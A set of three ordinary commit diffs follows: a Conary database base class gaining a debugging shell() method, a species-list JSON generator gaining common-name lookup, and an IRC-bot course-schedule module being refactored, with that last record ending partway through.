<commit_before>#
# Copyright (c) 2005-2006 rPath, Inc.
#
# This program is distributed under the terms of the Common Public License,
# version 1.0. A copy of this license should have been distributed with this
# source file in a file called LICENSE. If it is not present, the license
# is always available at http://www.opensource.org/licenses/cpl.php.
#
# This program is distributed in the hope that it will be useful, but
# without any waranty; without even the implied warranty of merchantability
# or fitness for a particular purpose. See the Common Public License for
# full details.
#

import sys
import re

import sqlerrors, sqllib
from conary.lib import cfg

# class for encapsulating binary strings for dumb drivers
class BaseBinary:
    def __init__(self, s):
        assert(isinstance(s, str))
        self.s = s
    def __str__(self):
        return self.s
    def __repr__(self):
        return self.s

# this will be derived by the backend drivers to handle schema creation
class BaseKeywordDict(dict):
    keys = { 'PRIMARYKEY' : 'INTEGER PRIMARY KEY',
             'BLOB'       : 'BLOB',
             'MEDIUMBLOB' : 'BLOB',
             'TABLEOPTS'  : '',
             }
    def __init__(self):
        dict.__init__(self, self.keys)

    def binaryVal(self, binLen):
        return "BINARY(%d)" % binLen

    def __getitem__(self, val):
        if val.startswith('BINARY'):
            binLen = val[6:]
            return self.binaryVal(int(binLen))

        return dict.__getitem__(self, val)

# base Cursor class. All backend drivers are expected to provide this
# interface
class BaseCursor:
    PASSTHROUGH = ["description", "lastrowid"]
    binaryClass = BaseBinary
    def __init__(self, dbh=None):
        self.dbh = dbh
        self._cursor = self._getCursor()

    # map some attributes back to self._cursor
    def __getattr__(self, name):
        if name in self.__dict__.keys():
            return self.__dict__[key]
        if name in self.PASSTHROUGH:
            return getattr(self._cursor, name)
        raise AttributeError("'%s' attribute is invalid" % (name,))

    def lastid(self):
        # wrapper for the lastrowid attribute.
        if hasattr(self._cursor, "lastrowid"):
            return self._cursor.lastrowid
        raise AttributeError("This driver does not know about `lastrowid`")

    # this will need to be provided by each separate driver
    def _getCursor(self):
        assert(self.dbh)
        return self.dbh.cursor()

    def binary(self, s):
        if s is None:
            return None
        return self.binaryClass(s)

    def frombinary(self, s):
        return s

    def execute(self, sql, *args, **kw):
        assert(len(sql) > 0)
        assert(self.dbh and self._cursor)
        # force dbi compliance here. we prefer args over the kw
        if len(args) == 0:
            return self._cursor.execute(sql, **kw)
        if len(args) == 1 and isinstance(args[0], dict):
            kw.update(args[0])
            return self._cursor.execute(sql, **kw)
        if len(kw):
            raise sqlerrors.CursorError(
                "Do not pass both positional and named bind arguments",
                *args, **kw)
        if len(args) == 1:
            return self._cursor.execute(sql, args[0])
        return self._cursor.execute(sql, *args)

    # return a list of the field names for the last select (if any)
    def fields(self):
        if not self._cursor.description:
            return None
        return [ x[0] for x in self._cursor.description ]

    # return the column names of the current select
    def __rowDict(self, row):
        assert(self._cursor)
        if row is None:
            return None
        if len(row) != len(self._cursor.description):
            raise sqlerrors.CursorError("Cursor description doew not match row data",
                                     row = row, desc = self._cursor.description)
        return dict(zip(self.fields(), row))

    # (a,b)
    def fetchone(self):
        return self._cursor.fetchone()
    # [(a1,b1),(a2, b2)]
    def fetchall(self):
        return list(self._cursor.fetchall())
    def fetchmany(self, count=1):
        return list(self._cursor.fetchmany(count))

    # { name_a : a, name_b : b }
    def fetchone_dict(self):
        try:
            return self.__rowDict(self.fetchone())
        except:
            pass
        return None
    # [ {name_a:a1, name_b:b1}, {name_a:a2, name_b:b2} ]
    def fetchall_dict(self):
        try:
            return [ self.__rowDict(row) for row in self.fetchall() ]
        except:
            pass
        return None
    def fetchmany_dict(self, count=1):
        try:
            return [ self.__rowDict(row) for row in self.fetchmany(count) ]
        except:
            pass
        return None

    def __iter__(self):
        return self

    def next(self):
        item = self.fetchone()
        if item is None:
            raise StopIteration
        else:
            return item

# A cursor class for the drivers that do not support bind
# parameters. Instead of :name they use a Python-esque %(name)s
# syntax. This is quite fragile...
class BindlessCursor(BaseCursor):
    def __mungeSQL(self, sql):
        regex = re.compile(':(\w+)')
        # edit the input query
        keys = set()
##         for key in regex.findall(sql):
##             keys.add(key)
##             sql = re.sub(":" + key, "%("+key+")s", sql)
        sql = re.sub("(?P<c>[(,<>=])(\s+)?[?]", "\g<c> %s", sql)
        sql = re.sub("(?i)(?P<kw>LIKE|AND|BETWEEN|LIMIT|OFFSET)(\s+)?[?]", "\g<kw> %s", sql)
        return (sql, keys)

    # we need to "fix" the sql code before calling out
    def execute(self, sql, *args, **kw):
        assert(len(sql) > 0)
        assert(self.dbh and self._cursor)
        sql, keys = self.__mungeSQL(sql)
        # force dbi compliance here. we prefer args over the kw
        if len(args) == 1:
            if isinstance(args[0], (tuple, list)):
                args = args[0]
        if len(args) == 0:
            assert (sorted(kw.keys()) == sorted(keys))
        elif len(args) == 1:
            p = args[0]
            # if it is a dictionary, it must contain bind arguments
            if hasattr(p, 'keys'):
                kw.update(p)
            else: # special case - single positional argument
                assert(len(keys)==0 and len(kw)==0)
                return self._cursor.execute(sql, args)
        else: # many args, we don't mix in bind arguments
            assert(len(keys)==0 and len(kw)==0)
            return self._cursor.execute(sql, args)
        # we have a dict of bind arguments
        return self._cursor.execute(sql, **kw)

# A class for working with sequences
class BaseSequence:
    def __init__(self, db, name):
        assert(name)
        self.db = db
        self.name = name
        self.seqName = "%s_sequence" % (name,)
        self.__currval = None

    # if we have not called nextval() yet, then currval should be
    # undefined. To easily catch places where we might be doing that,
    # we raise an exception
    def currval(self):
        if self.__currval is None:
            raise sqlerrors.CursorError(
                "Sequence has currval undefined until nextval() is called",
                self.name)
        return self.__currval
    # this is meant to be provided by the drivers
    def nextval(self):
        pass
    # Enforce garbage collection to avoid circular deps
    def __del__(self):
        self.db = self.cu = None

# A class to handle database operations
class BaseDatabase:
    # need to figure out a statement generic enough for all kinds of backends
    alive_check = "select 1 where 1 = 1"
    basic_transaction = "begin transaction"
    cursorClass = BaseCursor
    sequenceClass = BaseSequence
    driver = "base"
    keywords = BaseKeywordDict()

    def __init__(self, db):
        assert(db)
        self.database = db
        self.dbh = None
        # stderr needs to be around to print errors. hold a reference
        self.stderr = sys.stderr
        self.closed = True
        self.tempTables = sqllib.CaselessDict()

    # the string syntax for database connection is [[user[:password]@]host[:port]/]database
    def _connectData(self, names = ["user", "password", "host", "port", "database"]):
        assert(self.database)
        assert(len(tuple(names)) == 5)
        # regexes are k001 and I am 1337 h@x0r
        regex = re.compile(
            "^(((?P<%s>[^:]+)(:(?P<%s>[^@]+)?)?@)?(?P<%s>[^/:]+)(:(?P<%s>[^/]+))?/)?(?P<%s>.+)$" % tuple(names)
            )
        m = regex.match(self.database.strip())
        assert(m)
        ret = m.groupdict()
        if ret["port"] is not None:
            ret["port"] = int(ret["port"])
        return ret

    def connect(self):
        assert(self.database)
        raise RuntimeError("This connect function has to be provided by the database driver")

    # reopens the database backend, if required. Kind of specific t sqlite-type backends
    def reopen(self):
        """Returns True if the database backend was reopenedor a
        reconnection was required"""
        return False

    def close(self):
        if self.dbh:
            self.dbh.close()
        self.dbh = None
        self.closed = True

    def alive(self):
        assert(self.dbh)
        try:
            c = self.cursor()
            c.execute(self.alive_check)
        except:
            # database connection lost
            return False
        else:
            del c
        return True

    def closed(self):
        return self.dbh is None

    def cursor(self):
        assert (self.dbh)
        return self.cursorClass(self.dbh)

    def sequence(self, name):
        assert(self.dbh)
        return self.sequenceClass(self, name)

    # perform the equivalent of a analyze on $self
    def analyze(self):
        assert(self.database)
        pass

    def commit(self):
        assert(self.dbh)
        return self.dbh.commit()
    # transaction support
    def transaction(self, name = None):
        "start transaction [ named point ]"
        # basic class does not support savepoints
        assert(not name)
        assert(self.dbh)
        c = self.cursor()
        c.execute(self.basic_transaction)
        return c
    def rollback(self, name=None):
        "rollback [ to transaction point ]"
        # basic class does not support savepoints
        assert(not name)
        assert(self.dbh)
        return self.dbh.rollback()

    # trigger schema handling
    def createTrigger(self, table, when, onAction, sql):
        assert(table in self.tables)
        name = "%s_%s" % (table, onAction)
        if name in self.triggers:
            return False
        sql = """
        CREATE TRIGGER %s %s %s ON %s
        FOR EACH ROW BEGIN
        %s
        END
        """ % (name, when.upper(), onAction.upper(), table, sql)
        cu = self.dbh.cursor()
        cu.execute(sql)
        self.triggers[name] = table
        return True
    def dropTrigger(self, table, onAction):
        onAction = onAction.lower()
        name = "%s_%s" % (table, onAction)
        if name in self.triggers:
            return False
        cu = self.dbh.cursor()
        cu.execute("DROP TRIGGER %s" % name)
        del self.triggers[name]
        return True

    # index schema handling
    def createIndex(self, table, name, columns, unique = False):
        assert(table in self.tables)
        if unique:
            unique = "UNIQUE"
        else:
            unique = ""
        if name in self.tables[table]:
            return False
        sql = "CREATE %s INDEX %s on %s (%s)" % (
            unique, name, table, columns)
        cu = self.dbh.cursor()
        cu.execute(sql)
        return True
    def dropIndex(self, table, name):
        if name not in self.tables[table]:
            return False
        sql = "DROP INDEX %s" % (name,)
        cu = self.dbh.cursor()
        cu.execute(sql)
        self.tables[table].remove(name)
        return True

    # easy access to the schema state
    def loadSchema(self):
        assert(self.dbh)
        # keyed by table, values are indexes on the table
        self.tables = sqllib.CaselessDict()
        self.views = sqllib.CaselessDict()
        self.functions = sqllib.CaselessDict()
        self.sequences = sqllib.CaselessDict()
        self.triggers = sqllib.CaselessDict()
        self.version = 0

    def getVersion(self):
        assert(self.dbh)
        c = self.cursor()
        if 'DatabaseVersion' not in self.tables:
            self.version = 0
            return 0
        c.execute("select max(version) as version from DatabaseVersion")
        self.version = c.fetchone()[0]
        return self.version

    def setVersion(self, version):
        assert(self.dbh)
        c = self.cursor()
        assert (version >= self.getVersion())
        if 'DatabaseVersion' not in self.tables:
            c.execute("CREATE TABLE DatabaseVersion (version INTEGER)")
            c.execute("INSERT INTO DatabaseVersion (version) VALUES (0)")
        c.execute("UPDATE DatabaseVersion set version = ?", version)
        self.commit()
        # usually a setVersion occurs after some schema modification...
        self.loadSchema()
        return version

    # try to close it first nicely
    def __del__(self):
        if self.dbh is not None:
            try:
                self.dbh.close()
            except:
                pass
        self.dbh = self.database = None
        self.closed = True

# A class to handle calls to the SQL functions and procedures
class Callable:
    def __init__(self, name, call):
        self.name = name
        self.call = call
    def __call__(self, *args):
        assert(self.call is not None)
        apply(self.call, args)

# A class for configuration of a database driver
class CfgDriver(cfg.CfgType):

    def parseString(self, str):
        s = str.split()
        if len(s) != 2:
            raise ParseError, "database driver and path expected"

        return tuple(s)

    def format(self, val, displayOptions = None):
        return "%s %s" % val
<commit_msg>implement db.shell() method, which drops you in a shell -- useful for debugging<commit_after>#
# Copyright (c) 2005-2006 rPath, Inc.
#
# This program is distributed under the terms of the Common Public License,
# version 1.0. A copy of this license should have been distributed with this
# source file in a file called LICENSE. If it is not present, the license
# is always available at http://www.opensource.org/licenses/cpl.php.
#
# This program is distributed in the hope that it will be useful, but
# without any waranty; without even the implied warranty of merchantability
# or fitness for a particular purpose. See the Common Public License for
# full details.
#

import sys
import re

import sqlerrors, sqllib
from conary.lib import cfg

# class for encapsulating binary strings for dumb drivers
class BaseBinary:
    def __init__(self, s):
        assert(isinstance(s, str))
        self.s = s
    def __str__(self):
        return self.s
    def __repr__(self):
        return self.s

# this will be derived by the backend drivers to handle schema creation
class BaseKeywordDict(dict):
    keys = { 'PRIMARYKEY' : 'INTEGER PRIMARY KEY',
             'BLOB'       : 'BLOB',
             'MEDIUMBLOB' : 'BLOB',
             'TABLEOPTS'  : '',
             }
    def __init__(self):
        dict.__init__(self, self.keys)

    def binaryVal(self, binLen):
        return "BINARY(%d)" % binLen

    def __getitem__(self, val):
        if val.startswith('BINARY'):
            binLen = val[6:]
            return self.binaryVal(int(binLen))

        return dict.__getitem__(self, val)

# base Cursor class. All backend drivers are expected to provide this
# interface
class BaseCursor:
    PASSTHROUGH = ["description", "lastrowid"]
    binaryClass = BaseBinary
    def __init__(self, dbh=None):
        self.dbh = dbh
        self._cursor = self._getCursor()

    # map some attributes back to self._cursor
    def __getattr__(self, name):
        if name in self.__dict__.keys():
            return self.__dict__[key]
        if name in self.PASSTHROUGH:
            return getattr(self._cursor, name)
        raise AttributeError("'%s' attribute is invalid" % (name,))

    def lastid(self):
        # wrapper for the lastrowid attribute.
        if hasattr(self._cursor, "lastrowid"):
            return self._cursor.lastrowid
        raise AttributeError("This driver does not know about `lastrowid`")

    # this will need to be provided by each separate driver
    def _getCursor(self):
        assert(self.dbh)
        return self.dbh.cursor()

    def binary(self, s):
        if s is None:
            return None
        return self.binaryClass(s)

    def frombinary(self, s):
        return s

    def execute(self, sql, *args, **kw):
        assert(len(sql) > 0)
        assert(self.dbh and self._cursor)
        # force dbi compliance here. we prefer args over the kw
        if len(args) == 0:
            return self._cursor.execute(sql, **kw)
        if len(args) == 1 and isinstance(args[0], dict):
            kw.update(args[0])
            return self._cursor.execute(sql, **kw)
        if len(kw):
            raise sqlerrors.CursorError(
                "Do not pass both positional and named bind arguments",
                *args, **kw)
        if len(args) == 1:
            return self._cursor.execute(sql, args[0])
        return self._cursor.execute(sql, *args)

    # return a list of the field names for the last select (if any)
    def fields(self):
        if not self._cursor.description:
            return None
        return [ x[0] for x in self._cursor.description ]

    # return the column names of the current select
    def __rowDict(self, row):
        assert(self._cursor)
        if row is None:
            return None
        if len(row) != len(self._cursor.description):
            raise sqlerrors.CursorError("Cursor description doew not match row data",
                                     row = row, desc = self._cursor.description)
        return dict(zip(self.fields(), row))

    # (a,b)
    def fetchone(self):
        return self._cursor.fetchone()
    # [(a1,b1),(a2, b2)]
    def fetchall(self):
        return list(self._cursor.fetchall())
    def fetchmany(self, count=1):
        return list(self._cursor.fetchmany(count))

    # { name_a : a, name_b : b }
    def fetchone_dict(self):
        try:
            return self.__rowDict(self.fetchone())
        except:
            pass
        return None
    # [ {name_a:a1, name_b:b1}, {name_a:a2, name_b:b2} ]
    def fetchall_dict(self):
        try:
            return [ self.__rowDict(row) for row in self.fetchall() ]
        except:
            pass
        return None
    def fetchmany_dict(self, count=1):
        try:
            return [ self.__rowDict(row) for row in self.fetchmany(count) ]
        except:
            pass
        return None

    def __iter__(self):
        return self

    def next(self):
        item = self.fetchone()
        if item is None:
            raise StopIteration
        else:
            return item

# A cursor class for the drivers that do not support bind
# parameters. Instead of :name they use a Python-esque %(name)s
# syntax. This is quite fragile...
class BindlessCursor(BaseCursor):
    def __mungeSQL(self, sql):
        regex = re.compile(':(\w+)')
        # edit the input query
        keys = set()
##         for key in regex.findall(sql):
##             keys.add(key)
##             sql = re.sub(":" + key, "%("+key+")s", sql)
        sql = re.sub("(?P<c>[(,<>=])(\s+)?[?]", "\g<c> %s", sql)
        sql = re.sub("(?i)(?P<kw>LIKE|AND|BETWEEN|LIMIT|OFFSET)(\s+)?[?]", "\g<kw> %s", sql)
        return (sql, keys)

    # we need to "fix" the sql code before calling out
    def execute(self, sql, *args, **kw):
        assert(len(sql) > 0)
        assert(self.dbh and self._cursor)
        sql, keys = self.__mungeSQL(sql)
        # force dbi compliance here. we prefer args over the kw
        if len(args) == 1:
            if isinstance(args[0], (tuple, list)):
                args = args[0]
        if len(args) == 0:
            assert (sorted(kw.keys()) == sorted(keys))
        elif len(args) == 1:
            p = args[0]
            # if it is a dictionary, it must contain bind arguments
            if hasattr(p, 'keys'):
                kw.update(p)
            else: # special case - single positional argument
                assert(len(keys)==0 and len(kw)==0)
                return self._cursor.execute(sql, args)
        else: # many args, we don't mix in bind arguments
            assert(len(keys)==0 and len(kw)==0)
            return self._cursor.execute(sql, args)
        # we have a dict of bind arguments
        return self._cursor.execute(sql, **kw)

# A class for working with sequences
class BaseSequence:
    def __init__(self, db, name):
        assert(name)
        self.db = db
        self.name = name
        self.seqName = "%s_sequence" % (name,)
        self.__currval = None

    # if we have not called nextval() yet, then currval should be
    # undefined. To easily catch places where we might be doing that,
    # we raise an exception
    def currval(self):
        if self.__currval is None:
            raise sqlerrors.CursorError(
                "Sequence has currval undefined until nextval() is called",
                self.name)
        return self.__currval
    # this is meant to be provided by the drivers
    def nextval(self):
        pass
    # Enforce garbage collection to avoid circular deps
    def __del__(self):
        self.db = self.cu = None

# A class to handle database operations
class BaseDatabase:
    # need to figure out a statement generic enough for all kinds of backends
    alive_check = "select 1 where 1 = 1"
    basic_transaction = "begin transaction"
    cursorClass = BaseCursor
    sequenceClass = BaseSequence
    driver = "base"
    keywords = BaseKeywordDict()

    def __init__(self, db):
        assert(db)
        self.database = db
        self.dbh = None
        # stderr needs to be around to print errors. hold a reference
        self.stderr = sys.stderr
        self.closed = True
        self.tempTables = sqllib.CaselessDict()

    # the string syntax for database connection is [[user[:password]@]host[:port]/]database
    def _connectData(self, names = ["user", "password", "host", "port", "database"]):
        assert(self.database)
        assert(len(tuple(names)) == 5)
        # regexes are k001 and I am 1337 h@x0r
        regex = re.compile(
            "^(((?P<%s>[^:]+)(:(?P<%s>[^@]+)?)?@)?(?P<%s>[^/:]+)(:(?P<%s>[^/]+))?/)?(?P<%s>.+)$" % tuple(names)
            )
        m = regex.match(self.database.strip())
        assert(m)
        ret = m.groupdict()
        if ret["port"] is not None:
            ret["port"] = int(ret["port"])
        return ret

    def connect(self):
        assert(self.database)
        raise RuntimeError("This connect function has to be provided by the database driver")

    # reopens the database backend, if required. Kind of specific t sqlite-type backends
    def reopen(self):
        """Returns True if the database backend was reopenedor a
        reconnection was required"""
        return False

    def close(self):
        if self.dbh:
            self.dbh.close()
        self.dbh = None
        self.closed = True

    def alive(self):
        assert(self.dbh)
        try:
            c = self.cursor()
            c.execute(self.alive_check)
        except:
            # database connection lost
            return False
        else:
            del c
        return True

    def closed(self):
        return self.dbh is None

    def cursor(self):
        assert (self.dbh)
        return self.cursorClass(self.dbh)

    def sequence(self, name):
        assert(self.dbh)
        return self.sequenceClass(self, name)

    # perform the equivalent of a analyze on $self
    def analyze(self):
        assert(self.database)
        pass

    def commit(self):
        assert(self.dbh)
        return self.dbh.commit()
    # transaction support
    def transaction(self, name = None):
        "start transaction [ named point ]"
        # basic class does not support savepoints
        assert(not name)
        assert(self.dbh)
        c = self.cursor()
        c.execute(self.basic_transaction)
        return c
    def rollback(self, name=None):
        "rollback [ to transaction point ]"
        # basic class does not support savepoints
        assert(not name)
        assert(self.dbh)
        return self.dbh.rollback()

    # trigger schema handling
    def createTrigger(self, table, when, onAction, sql):
        assert(table in self.tables)
        name = "%s_%s" % (table, onAction)
        if name in self.triggers:
            return False
        sql = """
        CREATE TRIGGER %s %s %s ON %s
        FOR EACH ROW BEGIN
        %s
        END
        """ % (name, when.upper(), onAction.upper(), table, sql)
        cu = self.dbh.cursor()
        cu.execute(sql)
        self.triggers[name] = table
        return True
    def dropTrigger(self, table, onAction):
        onAction = onAction.lower()
        name = "%s_%s" % (table, onAction)
        if name in self.triggers:
            return False
        cu = self.dbh.cursor()
        cu.execute("DROP TRIGGER %s" % name)
        del self.triggers[name]
        return True

    # index schema handling
    def createIndex(self, table, name, columns, unique = False):
        assert(table in self.tables)
        if unique:
            unique = "UNIQUE"
        else:
            unique = ""
        if name in self.tables[table]:
            return False
        sql = "CREATE %s INDEX %s on %s (%s)" % (
            unique, name, table, columns)
        cu = self.dbh.cursor()
        cu.execute(sql)
        return True
    def dropIndex(self, table, name):
        if name not in self.tables[table]:
            return False
        sql = "DROP INDEX %s" % (name,)
        cu = self.dbh.cursor()
        cu.execute(sql)
        self.tables[table].remove(name)
        return True

    # easy access to the schema state
    def loadSchema(self):
        assert(self.dbh)
        # keyed by table, values are indexes on the table
        self.tables = sqllib.CaselessDict()
        self.views = sqllib.CaselessDict()
        self.functions = sqllib.CaselessDict()
        self.sequences = sqllib.CaselessDict()
        self.triggers = sqllib.CaselessDict()
        self.version = 0

    def getVersion(self):
        assert(self.dbh)
        c = self.cursor()
        if 'DatabaseVersion' not in self.tables:
            self.version = 0
            return 0
        c.execute("select max(version) as version from DatabaseVersion")
        self.version = c.fetchone()[0]
        return self.version

    def setVersion(self, version):
        assert(self.dbh)
        c = self.cursor()
        assert (version >= self.getVersion())
        if 'DatabaseVersion' not in self.tables:
            c.execute("CREATE TABLE DatabaseVersion (version INTEGER)")
            c.execute("INSERT INTO DatabaseVersion (version) VALUES (0)")
        c.execute("UPDATE DatabaseVersion set version = ?", version)
        self.commit()
        # usually a setVersion occurs after some schema modification...
        self.loadSchema()
        return version

    def shell(self):
        import dbsql
        dbshell = dbsql.shell(self)

    # try to close it first nicely
    def __del__(self):
        if self.dbh is not None:
            try:
                self.dbh.close()
            except:
                pass
        self.dbh = self.database = None
        self.closed = True

# A class to handle calls to the SQL functions and procedures
class Callable:
    def __init__(self, name, call):
        self.name = name
        self.call = call
    def __call__(self, *args):
        assert(self.call is not None)
        apply(self.call, args)

# A class for configuration of a database driver
class CfgDriver(cfg.CfgType):

    def parseString(self, str):
        s = str.split()
        if len(s) != 2:
            raise ParseError, "database driver and path expected"

        return tuple(s)

    def format(self, val, displayOptions = None):
        return "%s %s" % val
<|endoftext|>


<commit_before>
import os
import re
import json

def createSpeciesJson(source_path, output_file):
    # create the species.json file using data from the specified path

    # traverse directories looking for dirs named "1km".  If it's
    # path matches this pattern:
    # .../<taxon-name>/models/<species-name>/1km
    # then record that as a species / taxon record.

    # here's a regex to test for species dirs:

    #                group(8) - Species --------------------------------------------.
    #                           (literal underscore) ----------------------------.  |
    #                group(7) - Genus ----------------------------------------.  |  |
    #                group(6) - Genus, again ---------------------------.     |  |  |
    #                group(5) - Family ---------------------------.     |     |  |  |
    #                group(4) - Order ----------------------.     |     |     |  |  |
    #                group(3) - Class ----------------.     |     |     |     |  |  |
    #                group(2) - Phylum ---------.     |     |     |     |     |  |  |
    #                group(1) - Kingdom --.     |     |     |     |     |     |  |  |
    #                                     V     V     V     V     V     V     V  V  V
    sppdir_regex = re.compile(r'species/(\w+)/(\w+)/(\w+)/(\w+)/(\w+)/(\w+)/(\w+)_(\w+)/summaries_temperature$')

    # for example:
    #  Species -----------------------------------------------------------.
    #  Genus ----------------------------------------------------.        |
    #  Genus, again --------------------------------------.      |        |
    #  Family -------------------------------------.      |      |        |
    #  Order ------------------------------.       |      |      |        |
    #  Class ----------------------.       |       |      |      |        |
    #  Phylum ------------.        |       |       |      |      |        |
    #  Kingdom --.        |        |       |       |      |      |        |
    #            V        V        V       V       V      V      V        V
    # species/Animalia/Chordata/Amphibia/Anura/Alytidae/Alytes/Alytes_cisternasii/summaries_temperature/

    # we'll get the species common name from here:
    common_names = {}

    # cn_file = os.path.join(os.path.dirname(__file__), 'all_species.json')
    # try:
    #     # try reading in the list of sci-to-common species names
    #     with open(cn_file) as f:
    #         common_names = json.load(f)
    # except:
    #     # give up on common names if we can't read them
    #     common_names = {}

    #
    # okay, ready to check for modelled species
    #
    species_list = {}

    last_sci_class_order = ''

    for dir, subdirs, files in os.walk(source_path):

        match = sppdir_regex.search(dir)

        if match:
            sci_class = match.group(3)
            sci_name = match.group(7) + ' ' + match.group(8)
            species_list[sci_name] = {
                "commonNames": common_names.get(sci_name, [""]),
                "group": sci_class
            }

            # maybe this is a new group?
            this_sci_class_order = sci_class + '::' + match.group(4)
            if this_sci_class_order != last_sci_class_order:
                print('starting ' + this_sci_class_order)
                last_sci_class_order = this_sci_class_order

            # if we found a species dir, we don't need to keep
            # os.walk()ing into its descendent dirs
            subdirs[:] = []

    # now save our species list
    with open(output_file, 'w') as json_file:
        json.dump(species_list, json_file, sort_keys = True, indent = 4)

def createBiodiversityJson(source_path):
    # create the biodiversity.json file using data from the specified path

    # traverse directories looking for "deciles" dirs.
    # If a dir's path matches this pattern:
    # .../<taxon-name>/biodiversity/deciles
    # then record that as a taxon / biodiversity record.

    # here's a regex to test for biodiv dirs:
    biodiv_regex = re.compile(r'/(\w+)/biodiversity/deciles$')

    biodiv_list = {}
    for dir, subdirs, files in os.walk(source_path):

        match = biodiv_regex.search(dir)

        if match:
            taxon = match.group(1)
            biodiv_list[taxon] = {
                "group": taxon
            }

            # if we found a biodiv dir, we don't need to keep
            # os.walk()ing into its descendent dirs
            subdirs[:] = []

    # now save our biodiv list
    json_path = os.path.join(os.path.dirname(__file__), 'biodiversity.json')
    with open(json_path, 'w') as json_file:
        json.dump(biodiv_list, json_file, sort_keys = True, indent = 4)

<commit_msg>incorporated commonnames into species list<commit_after>
import os
import re
import json

def createSpeciesJson(source_path, output_file):
    # create the species.json file using data from the specified path

    # traverse directories looking for dirs named "1km".  If it's
    # path matches this pattern:
    # .../<taxon-name>/models/<species-name>/1km
    # then record that as a species / taxon record.

    # here's a regex to test for species dirs:

    #                group(8) - Species --------------------------------------------.
    #                           (a literal underscore) --------------------------.  |
    #                group(7) - Genus ----------------------------------------.  |  |
    #                group(6) - Genus, again ---------------------------.     |  |  |
    #                group(5) - Family ---------------------------.     |     |  |  |
    #                group(4) - Order ----------------------.     |     |     |  |  |
    #                group(3) - Class ----------------.     |     |     |     |  |  |
    #                group(2) - Phylum ---------.     |     |     |     |     |  |  |
    #                group(1) - Kingdom --.     |     |     |     |     |     |  |  |
    #                                     V     V     V     V     V     V     V  V  V
    sppdir_regex = re.compile(r'species/(\w+)/(\w+)/(\w+)/(\w+)/(\w+)/(\w+)/(\w+)_(\w+)/summaries_temperature$')

    # for example:
    #  Species -----------------------------------------------------------.
    #  Genus ----------------------------------------------------.        |
    #  Genus, again --------------------------------------.      |        |
    #  Family -------------------------------------.      |      |        |
    #  Order ------------------------------.       |      |      |        |
    #  Class ----------------------.       |       |      |      |        |
    #  Phylum ------------.        |       |       |      |      |        |
    #  Kingdom --.        |        |       |       |      |      |        |
    #            V        V        V       V       V      V      V        V
    # species/Animalia/Chordata/Amphibia/Anura/Alytidae/Alytes/Alytes_cisternasii/summaries_temperature/

    # we'll get the species common name from here:
    common_names = {}

    cn_file = os.path.join(os.path.dirname(__file__), 'commonnames.json')
    try:
        # try reading in the list of sci-to-common species names
        with open(cn_file) as f:
            common_names = json.load(f)
    except:
        # give up on common names if we can't read them
        common_names = {}

    #
    # okay, ready to check for modelled species
    #
    species_list = {}

    last_sci_class_order = ''

    for dir, subdirs, files in os.walk(source_path):

        match = sppdir_regex.search(dir)

        if match:
            sci_class = match.group(3)
            sci_name = match.group(7) + ' ' + match.group(8)
            sci_name_underscore = match.group(7) + '_' + match.group(8)
            species_list[sci_name] = {
                "commonNames": common_names.get(sci_name_underscore, [""]),
                "group": sci_class
            }

            # maybe this is a new group?
            this_sci_class_order = sci_class + '::' + match.group(4)
            if this_sci_class_order != last_sci_class_order:
                print('starting ' + this_sci_class_order)
                last_sci_class_order = this_sci_class_order

            # if we found a species dir, we don't need to keep
            # os.walk()ing into its descendent dirs
            subdirs[:] = []

    # now save our species list
    with open(output_file, 'w') as json_file:
        json.dump(species_list, json_file, sort_keys = True, indent = 4)

def createBiodiversityJson(source_path):
    # create the biodiversity.json file using data from the specified path

    # traverse directories looking for "deciles" dirs.
    # If a dir's path matches this pattern:
    # .../<taxon-name>/biodiversity/deciles
    # then record that as a taxon / biodiversity record.

    # here's a regex to test for biodiv dirs:
    biodiv_regex = re.compile(r'/(\w+)/biodiversity/deciles$')

    biodiv_list = {}
    for dir, subdirs, files in os.walk(source_path):

        match = biodiv_regex.search(dir)

        if match:
            taxon = match.group(1)
            biodiv_list[taxon] = {
                "group": taxon
            }

            # if we found a biodiv dir, we don't need to keep
            # os.walk()ing into its descendent dirs
            subdirs[:] = []

    # now save our biodiv list
    json_path = os.path.join(os.path.dirname(__file__), 'biodiversity.json')
    with open(json_path, 'w') as json_file:
        json.dump(biodiv_list, json_file, sort_keys = True, indent = 4)

<|endoftext|>


<commit_before># coding=utf-8

from datetime import datetime
from datetime import timedelta
from urllib.parse import quote

from tools import web

nemubotversion = 3.3

def help_tiny ():
    """Line inserted in the response to the command !help"""
    return "Gets informations about current and next Épita courses"

def help_full ():
    return "!chronos [spé] : gives current and next courses."

def cmd_chronos(msg):
    url = CONF.getNode("server")["url"]
    if len(msg.cmds) > 1:
        url += "&class=" + quote(msg.cmds[1])

    res = Response(msg.sender, channel=msg.channel, nomore="Je n'ai pas d'autre cours à afficher")
    response = web.getXML(url)
    if response is not None:
        courses = response.getNodes("course")
        now = datetime.now()
        tomorrow = now + timedelta(days=1)
        for c in courses:
            idc      = c.getFirstNode("id").getContent()
            crs      = c.getFirstNode("title").getContent()
            start    = c.getFirstNode("start").getDate()
            end      = c.getFirstNode("end").getDate()
            where    = c.getFirstNode("where").getContent()
            teacher  = c.getFirstNode("teacher").getContent()
            students = c.getFirstNode("students").getContent()

            if now > start:
                title = "Actuellement "
                msg = "\x03\x02" + crs + "\x03\x02 jusqu'"
                if end < tomorrow:
                    msg += "à \x03\x02" + end.strftime("%H:%M")
                else:
                    msg += "au \x03\x02" + end.strftime("%a %d à %H:%M")
                msg += "\x03\x02 en \x03\x02" + where + "\x03\x02"
            else:
                title = "Prochainement "
                duration = (end - start).total_seconds() / 60

                msg = "\x03\x02" + crs + "\x03\x02 le \x03\x02" + end.strftime("%a %d à %H:%M") + "\x03\x02 pour " + "%dh%02d" % (int(duration / 60), duration % 60) + " en \x03\x02" + where + "\x03\x02"

            if teacher != "":
                msg += " avec " + teacher
            if students != "":
                msg += " pour les " + students

            res.append_message(msg, title)
    else:
        res.append_message("Aucun cours n'a été trouvé")

    return res
<commit_msg>Chronos module: code refactoring to work with events interface<commit_after># coding=utf-8

from datetime import datetime
from datetime import timedelta
from urllib.parse import quote

from tools import web

nemubotversion = 3.3

def help_tiny ():
    """Line inserted in the response to the command !help"""
    return "Gets informations about current and next Épita courses"

def help_full ():
    return "!chronos [spé] : gives current and next courses."

def get_courses(classe=None, room=None, teacher=None, date=None):
    url = CONF.getNode("server")["url"]
    if classe is not None:
        url += "&class=" + quote(classe)
    if room is not None:
        url += "&room=" + quote(room)
    if teacher is not None:
        url += "&teacher=" + quote(teacher)
    #TODO: date, not implemented at 23.tf

    response = web.getXML(url)
    if response is not None:
        return response.getNodes("course")
    else:
        return None

